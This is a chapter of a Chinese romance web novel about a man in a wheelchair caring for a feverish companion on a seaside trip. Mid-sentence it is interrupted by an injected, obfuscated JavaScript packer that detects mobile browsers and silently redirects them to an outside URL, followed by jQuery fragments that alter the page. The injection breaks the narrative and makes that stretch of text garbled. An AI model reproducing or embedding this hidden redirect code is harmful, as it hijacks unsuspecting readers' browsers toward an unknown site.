海风卷着湿意从回廊里一阵阵钻进来,灯光把地砖擦得发亮。餐厅门口的风铃被夜风磕了一下,叮当轻响。刚走出门两步,许尽欢脚下一虚,呼吸不太匀,脸白得像是被人用粉糊过一遍。
纪允川什么也没问,只把轮椅稍稍一拐,尽量挡在她迎风那一侧。服务生追出来递账单,他抬手,笑着道谢:“麻烦你们了,辛苦。”又回头对许尽欢,“走,回去。”
“我真的没事了。”她因为自己反复的病有点尴尬,带着些不好意思说,“海滩的计划可能要泡汤了,你自己去玩吧。而且明天你同事们不都来,养精蓄锐啊。”
“怕你发烧。”纪允川的语气带着不容置疑,“水土不服最容易发烧。”
路口有两条坡道,他挑了更平那条。轮圈在他的左手下转得很稳,右臂的伤疤还没完全消掉,身体自然地微微前倾过去,肩背线条紧起又松开。
进房后,空调先被调高两度。纪允川结了自来水,将热水壶按下去,灯光降到只有一圈柔的。他从背包的侧袋里摸出一支白色小枪,对准她额头,认真又幼稚地发声:“biu~”
许尽欢被逗得眼尾弯了弯:“你从哪儿弄来的体温枪?”
额温枪清脆一响,数字停在37.7。
“我们机器猫的秘密怎么能告诉你一介凡人。”他不紧不慢,“低烧。许尽欢女士,你被判处无期徒刑,乖乖吃点清淡的,然后吃药。”
“能上诉吗?”她声音轻柔,“我觉得法官有失公允。”
“一审二审合并审,驳回。”他说完自己先笑了。
一碗阳春面很快送到。盖子掀开一条缝,白气暧暧地扑出来。他先用勺试温,挪到她手边,又把药按说明码好,温水杯口对着她。许尽欢象征性喝了几口,吞药,眼皮像被谁按下关机键,慢慢塌下来。
“你是不是偷偷给我下药了啊。”许尽欢钻进被窝。
“那是退烧药的副作用,别再发烧了。”纪允川声音轻的像叹息:“是我不好。”
许尽欢没听清,感觉困的不行,耳边的声音变得模糊:“你说啥?”
“我说躺着吧。好好睡一觉。”他把靠枕拍松,侧身替她把被角掖好。她的头发散了几缕在颈侧,他伸手,指腹只轻轻一拨,将发丝挪开。
灯又往下一格,房间的灯被缩小成一圈安静的光。许尽欢睡得很快,呼吸很快变得平稳。他把轮椅挪到床侧的沙发旁,刹住。手机调静音,屏幕朝下,工作室的群跳了几条,他用拇指把对话打开免打扰。害怕许尽欢因为听不到声音惊醒,找出电视剧调低音量播放。中途倒了半杯温水,再把门关得轻轻的。
坐久了,他的背很僵。脊柱那条打过钉子的地方像被冰冷指尖摸了一下,刺得他下意识吸气。纪允川把上身的重量在轮椅靠背上分了分,左手按住大腿根,换了个更舒服的坐姿。过一会儿,他照例做一次压力释放,双手压住推圈,手臂用力,把臀部从坐垫上提离一寸,三秒,五秒……撑够两分钟再缓缓落回去。动作做得极轻,像是怕惊动谁。
窗外浪声一下一下,像放在钢琴上的节拍器。屋里只有许尽欢睡着时很轻的鼻息,有时候梦里“嗯”一声。他看一眼床头小夜灯,再看一眼她没完全掩住的侧脸。那点苍白在灯底下淡下去些,他胸口也跟着松一点。
不知道过了多久,许尽欢醒了。睁眼先看见沙发上坐着的人。
“你坐了多久?”嗓音沙着,像枯枝刮过纸面。
“没多久。”他随口应答。
她瞥眼床头的小闹钟,没拆穿,只把掌心按了按身侧的一片空白,三个字:“上来躺会儿吧。”
纪允川愣了一下,耳尖立刻红了:“不合适。你好好休息,我看着你睡我就回去。”
“嫌弃我吗?”她淡淡丢出一句话。
“我没有。”他忙否认,眼神都慌了一瞬,连带着背部轻轻一紧。
“那就上来躺着。”她的声音还是软的:“两米乘两米二的床,躺下三个人都绰绰有余。”
纪允川也没再推辞。轮椅挪到床沿,刹住。左手抓床边,右手撑轮椅坐垫,肩背发力,臀部一点点挪到床上。
落稳后,他照例捏住床垫的边,喉咙里很轻地吐了口气,再用双手托住自己的膝弯,把两条没有知觉的小腿一条一条抬上来,放在床上摆直。避开所有可能牵扯背部的角度,生怕一不小心在许尽欢面前再表演一出痉挛。于是动作慢吞吞的,两条腿摆妥,他顺势往床边再缩出一道安全距离,背对她,伸手把她那头的被角又掖紧了一点,才把眼睛合上。
许尽欢看着离自己十万八千里,在床边弱小可怜且无助的背影,被逗乐了。
两人的呼吸一开始不在一个拍子上。她呼一口,他才吸一口;过了半分钟,两人节拍不知道被谁悄悄调了一下,才慢慢对齐同频。
他很清楚自己的身体,不敢深睡,万一在许尽欢身边来一出失禁,那他是真推着轮椅跳海算了。腰处那条旧伤像被寒气钻进骨髓,一阵阵的。他把左手悄悄垫在腹前,习惯性的姿势;背部扯了一下,他就换到另一个角度,尽量不发出一点声响。被子的布料扫过他的手背,痒痒的。
他忽然生出一点滑稽的想法,这是不是说明许尽欢其实对自己也是有点好感的呢。
不知什么时候,纪允川先醒了。许尽欢还睡着,呼吸均匀。他把腿一条条挪回床沿,拖回轮椅里,刹车解开又按上,房间大面积的地毯吞掉所有细小的声响。门开一条缝,他轻轻关上。
他回自己房里处理必须的事。
导尿、洗澡,换了套干净的衣服。把昨晚收来没来得及整理的药按早晚分清,体温枪放在触手可及的位置。给前台打了电话:八点送温粥和补盐液,还有椰子水。
最后在床头小桌压了一张便签:
醒来先量体温哦;
如果≥37.5,一定打我电话!;
粥趁热~
落款没写名字,便签角上画了一只抱被子的小狗,耳朵圆圆的,笨拙可爱。
许尽欢不自觉扬起一个笑容,没想到纪允川画画还挺好看的。
电话会九点开始,窗外是一块明亮的果冻海。手机震了两下,纪允川以为是同事补充议题,没有看。第三下,他点开——
【知道了。你好操心啊。】
他唇角轻轻翘了一下,晨风的清凉混合着甜意。
【谁让某些人自己不上心,把自己当变形金刚。】
回了消息把手机扣回桌面,目光重新收回运营发来的PPT,神情很专注。
许尽欢醒来后,房间里播着低音的电视剧,她觉得安稳不少。体温枪、温水、整整齐齐码好的药和一张便签摆放在床头柜。她拿起枪对着自己测了一下,测温枪居然还真有biu的一声,数字乖乖落回正常范围。粥还温着,她握住瓷质器皿边缘,舀了小半碗,温热下肚,舒服了不少。
“也不知道什么时候走的。”许尽欢把勺子放回碗里,拇指在便签上按了一下,纸质是木屋客厅的客人意见簿撕下来的。
门铃“叮”的一声。她去开门,纪允川在门外,打扮的很是帅气时尚,眼睛里全是笑。
“报告长官,”他压低声音,“执行力极强的看护人员到岗。”
她侧身让路,顺手退了一步:“进来。”
他先看她脸色,气色好了不少。
“再‘biu’一次。”他伸手要体温枪。“你信用额度不怎么高了。”
许尽欢配合俯下身。“滴。”数字很安全。纪允川的嘴角比刚才又上去一点点。
“现在宣布,允许许尽欢女士出去放风一个小时。”他说得一本正经,“但要戴帽子穿外套。”
“……好。”许尽欢笑了一下,把帽子从行李里戴上,找出外套穿上。
她目前没有被约束的反感,反而觉得挺新奇的,这还是第一次有人这样管她。
两人并肩往外走。
海滩边人不多。阳伞一把挨一把,远处有两个孩子在堆沙,笑声被风打成碎片。木栈道坡度不大,他推轮椅上去,手臂的肌肉线条干净漂亮,右臂皮肤上留了三道浅浅的粉色新肉。他把轮椅停在一截栏杆旁的阴影里,让许尽欢躺在沙滩椅上看海。
“怎么说,元气恢复了要不要晚上和我们一起吃顿饭?”他半开着玩笑,早就准备好了许尽欢拒绝后的说辞。
“行啊。”她看着海,接过纪允川递给她的书,眼睛里反光着海浪,“你们吃啥?”
“打算吃烧烤,”他有些讶异,“他们上午到,各自玩玩休息一下,下午才一起烧烤。我以为你会嫌弃我们吵。我还合计着给你发几家我种草的餐馆你选一选去哪家呢。”
“凑个热闹。”许尽欢捧起椰子喝了一口。
风在这会儿变小了,阳光切成一条条,落在纪允川棱角分明的侧脸上。他把轮椅刹下,双手平放在大腿上,手指自然张开。她余光扫过,忽然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586799|186510||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
觉得他的手很好看。
指骨分明,手指修长,指甲修剪的也很干净。关节泛着淡粉色,许尽欢想,如果做自媒体的话可以专门拍手。
“谢谢你,这次给你添了很多麻烦,你还一直脾气这么好的照顾我。”许尽欢诚恳地道谢。
她这两天真的看了很多评分软件上的热门高分浪漫爱情电影。
他“嗯”了一声,似乎有点害羞,没转头看她,推动轮椅的速度慢了一点。
风从她的帽檐底下钻进来,带着一点海水的咸味。她忽然想到一件事:“你是不是有点害怕我?”
“啊?”他有点不理解地侧头。
“不知道是不是我的错觉,你跟我讲话总是小心翼翼的,我看起来很容易生气吗?”许尽欢其实有点不解。
纪允川笑开,这回是真心被逗到的那种笑,眼底亮得过分:“因为我不想你讨厌我,所以小心一点自己的言行很正常吧。”
“我目前还没讨厌过谁。”她也笑了一点点,目光又回到海上,“你很可爱,是招全年龄人类喜欢的类型,不用担心。”
回到房里,许尽欢的体温完全落回正常。纪允川把姜枣水换掉,留下新的温水。她按他要求把药吃了。床头那张便签被她叠了两道,当成书签夹在海边没看完的书里。
“午睡吗?”他问。
“睡。我睡眠时间比一般人长一点,我挺嗜睡的。”她说,又像想到什么似的补了一句,“你腰背不舒服就躺一下。别总坐着。”
“好。”纪允川笑着答,“那我走啦?晚上吃饭再来叫你,给你介绍我工作室的朋友。”
“行。”
纪允川慢悠悠地离开,许尽欢裹紧被子,想起昨晚他把两条腿一点一点抬上床的样子,胸口某一块慢慢软下去。
这段时间和纪允川的相处,像石子扔进水里,没声没息,却圈出几道涟漪。
这会儿她闭着眼,觉出一点好笑。自己是那种对热烈感情不太会回复、安慰也常常干巴巴的人;而他呢,好像日头下跑来跑去的大狗,尾巴一摇一摇的,善解人意的和崽崽有得一拼,知道什么时候该把脑袋搁在你膝盖上,什么时候该退开一步自己去玩。
许尽欢揪着被角睡着前最后一个念头是:也许可以试试……
比如,等重新回到北城的时候,她做一份他喜欢的沙拉,这是她能做到的热情。
傍晚。海边的风按时小了下去。她戴着帽子,坐在轮椅旁边的椅子上,脚尖挖了一点细沙出来。远处有小孩在追浪,浪跑过来,笑声跑过去。
他这会儿把轮椅往她这边一挪,手心撑在轮圈上,侧过脸:“等会儿想吃什么?我让他们多烤一点,感觉咱们提前来的这三天你吐的瘦了一圈。”
“你做主。”许尽欢说,“我也不挑食。”
他笑着答应:“行,那我安排。等会看我给你露一手,我很会烤串的。”
许尽欢偏头看他一眼。夕阳落在他侧脸,光沿着眼睫打下来。
纪允川的眼里仿佛有一整个晴日。
“期待。”她简短地应了一声。
他也不逼她多说话,就陪她在海边坐着,是不是拿起手机回复两条消息。风声里,他的手偶尔轻轻按一按轮圈。
许尽欢的余光看到了纪允川的动作,随即真实地不解,她不知道是自己在网络上了解到的信息科普有误,还是纪允川天赋异禀。
在这种程度的残疾里,纪允川真的活的很体面,不知道是经济条件比较富裕,还是他真的意志力顽强。
“我去洗个澡。”她说。
“好。”他退到门口,“我同事他们也该集合了。”
门轻轻合上。水声从浴室里传出来。屋子里只剩下他一个人,他把轮椅在原地掉了个头,轻轻做了两次压力释放。肩背线条在灯下起伏,像一只缓慢呼吸的乌龟。
门开了。许尽欢头发还湿着,披在肩上,眼睛清泠。
“风小了。”她说,“等下烧烤应该不会被吹。”
“嗯哼,”他笑,“明天要不要一起去看日出?”
“太早了。”她诚实,“我起不来。”
“那我去了拍给你看。”他改口,毫不犹豫,笑意把眼睛弯成月亮。
她点头,嘴角也跟着轻轻弯了一下。
很多事情是可以慢慢来的,像风,小一点,就会适合烧烤;像阳光,日出也不必一定要明天,如果来日方长,那哪天都可以。